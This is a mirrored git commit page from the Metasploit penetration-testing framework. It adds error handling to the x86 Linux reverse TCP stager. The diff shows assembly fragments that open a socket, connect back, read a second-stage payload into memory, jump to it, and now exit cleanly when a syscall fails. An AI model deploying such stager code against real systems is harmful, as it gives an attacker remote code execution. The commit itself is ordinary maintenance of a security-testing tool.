mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
add error handling to x86 linux reverse tcp
This commit is contained in:
parent
9d82e5a9fd
commit
82a83af6c2
@ -100,6 +100,8 @@ module Payload::Linux::ReverseTcp
|
||||
mov al, 0x66
|
||||
mov ecx, esp
|
||||
int 0x80 ; sys_socketcall (socket())
|
||||
test eax, eax
|
||||
js failed
|
||||
|
||||
xchg eax, edi ; store the socket in edi
|
||||
pop ebx ; set ebx back to zero
|
||||
@ -114,6 +116,8 @@ module Payload::Linux::ReverseTcp
|
||||
mov ecx, esp
|
||||
inc ebx
|
||||
int 0x80 ; sys_socketcall (connect())
|
||||
test eax, eax
|
||||
js failed
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
@ -126,6 +130,8 @@ module Payload::Linux::ReverseTcp
|
||||
shl ebx, 0xc
|
||||
mov al, 0x7d
|
||||
int 0x80 ; sys_mprotect
|
||||
test eax, eax
|
||||
js failed
|
||||
|
||||
pop ebx
|
||||
mov ecx, esp
|
||||
@ -133,7 +139,13 @@ module Payload::Linux::ReverseTcp
|
||||
mov dh, 0xc
|
||||
mov al, 0x3
|
||||
int 0x80 ; sys_read (recv())
|
||||
test eax, eax
|
||||
js failed
|
||||
jmp ecx
|
||||
failed:
|
||||
mov eax, 0x1
|
||||
mov ebx, 0x1 ; set exit status to 1
|
||||
int 0x80 ; sys_exit
|
||||
^
|
||||
|
||||
asm
|
||||
@ -142,4 +154,3 @@ module Payload::Linux::ReverseTcp
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user